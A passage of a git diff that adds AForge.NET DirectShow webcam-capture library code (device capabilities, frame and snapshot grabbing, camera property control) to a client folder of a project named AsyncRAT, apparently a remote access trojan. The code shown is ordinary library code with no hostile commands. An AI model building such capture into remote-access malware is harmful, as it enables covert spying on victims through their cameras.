deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + } + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs new file mode 100644 index 0000000..d88b64d --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs new file mode 100644 index 0000000..d6ae3e5 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + 